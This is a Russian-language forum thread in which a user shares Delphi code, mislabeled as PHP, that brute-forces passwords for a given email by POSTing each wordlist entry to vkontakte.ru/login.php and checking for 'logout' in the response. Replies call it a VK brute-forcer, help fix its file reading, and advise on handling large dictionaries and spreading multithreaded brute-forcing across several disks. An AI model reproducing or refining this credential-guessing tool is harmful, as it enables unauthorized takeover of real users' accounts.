Как мне в части кода написаной ниже, присвоить переменной "pass" не строку из листбокса а строку из текста???? Вот код PHP: for l:=0 to ListBox1.Items.Count-1 do begin pass.Add(ListBox1.Items[l]); end; Вот весь код PHP: var emails:TStringList; // список мыл pass:TStringList; // список паролей post:TStringList; // список полей пост запроса i,j, l:integer; // счетчики циклов http: TidHTTP ; result:String; s:string; f:TextFile; Form1: TForm1; implementation uses Unit2, Unit3, Unit4; {$R *.dfm} procedure TForm1.Button2Click(Sender: TObject); begin if opendialog2.Execute then edit2.Visible:=true; Edit2.text:=( opendialog2.FileName); ListBox1.Items.LoadFromFile(OpenDialog2.FileName); end; procedure TForm1.Button3Click(Sender: TObject); begin emails:=TStringList.Create; pass:=TStringList.Create; // Инициализируем переменные emails.Add('маил@mail.com'); for l:=0 to ListBox1.Items.Count-1 do begin pass.Add(ListBox1.Items[l]); end; http:=TidHTTP.Create(nil); // создаем HTTPClient http.HandleRedirects:=true; // это необходимо post:=tstringlist.Create; // этот стринг лист содержит поля e-mail и пароль for i:=0 to emails.Count-1 do begin // перебираем в цикле мыльники post.Clear; // отчищаем post.Add('email='+emails.Strings[i]); // указываем e-mail for j:=0 to pass.Count-1 do begin // перебираем пароли для выбранного мыльника post.Clear; // отчищаем post.Add('pass='+pass.Strings[j]); // указываем пароль result:=http.Post('http://vkontakte.ru/login.php',post); // посылаем запрос if pos('logout',result)>0 then // проверяем ответ begin Memo1.lines.Add(Pass.Strings[j]+' - подходит'); end else Memo1.lines.Add(Pass.Strings[j]+' - не подходит'); end; end; // освободим переменные emails.Free; pass.Free; http.Free; post.Free; end; P.S. Есть еще одна проблема, всегда показывает что пароль не правильный, может вы найдете ошибку.
Второй кусок кода брутфорсер контакта,и написан вроде без синтаксических ошибок. А вот что ты в первом сделать хочешь,я не понял. Но если тебе надо по очереди все строки из списка pass:TStringList получить, то это будет выглядеть так: for i:=0 to pass.Items.Count-1 do begin [ТВОЯ ПЕРЕМЕННАЯ String]:=pass.Strings; end;
А тебе очень хочется по очереди? А вариант все сразу тебе чем не подходит? pass.LoadFromFile([ИМЯ ФАЙЛА]);
PHP: var FF:TextFile; St:String; begin AssignFile(FF,[ИМЯ ФАЙЛА]); Reset(FF,1); while not eof(FF) do ReadLn(FF,St); CloseFile(FF); end; Как то так
Code: var st: TStringList; c: string; n: integer; begin n:=0; //создаем счетчик и ставим его на 0 st:=TStringList.Create; // создаем список строк st.LoadFromFile('somefile.txt'); // грузим в него строки из файла "somefile.txt" c:=st[n]; // переменной "с" присваиваем строку под номером "n" st.Free; // убиваем список строк end; Для брута можно увеличивать n на 1, что бы менялись строки.
Ну, тогда сложно, конечно. Тогда можно в memo какой-нибудь запилить, вместо StringList, принцип то все равно тот же будет.
Почти,но не совсем. На больших словарях, если брут однопоточный , лучше читать построчно из файла. Если многопоточный, то,как вариант, словарь можно поделить на *-цать частей, разложить их по разным физическим носителям и каждому потоку скормить построчно свой файл. А если это все в память считывать сразу, то при большом словаре будет своп постоянный,что сильно скорость снизит. Но для небольших и средних словарей твой способ однозначно лучше
Если я правильно понял его код, то там небольшая ошибочка. Получается, что переменной поочередно присваивается каждая строка файла, т.е. по окончанию цикла в переменной будет последняя строка. Это не совсем правильное решения, как мне кажется, хотя я могу ошибаться.
При всем моем уважении, поправьте меня если я не прав. Файл с паролями для чтения "кусками" придется типизировать, а по условию мы имеем текстовый, нетипизированный файл, читать "кусками" который невозможно. Если есть желание - можете хоть на 200,если железо позволит и пропускная способность канала достаточна. Я ведь не сказал,что количество носителей должно соответствовать количеству потоков,не так ли?
У меня выдает шибку здесь: Reset(FF,1); (кустор стоит перед ";" ) пишет [Error] Unit1.pas(87): Too many actual parameters
Что в ней интересного? Невозможно быстро узнать смещение,по которому находится начало n-ого элемента относительно начала файла, если длинна прочих элементов непостоянна. Текстовые файлы (а в данном случае мы имеем классический пример ) - относятся к разряду нетипизированных, это еще в школе проходят(по крайне мере в школе я это знал). Согласен,справятся. Но при наличии нескольких физических носителей справятся лучше А в чем нелепость? Пропускные способности сетевых каналов уже достигли уровня,когда слабым местом становится уже дисковая подсистема - почему бы не обратить на это внимание?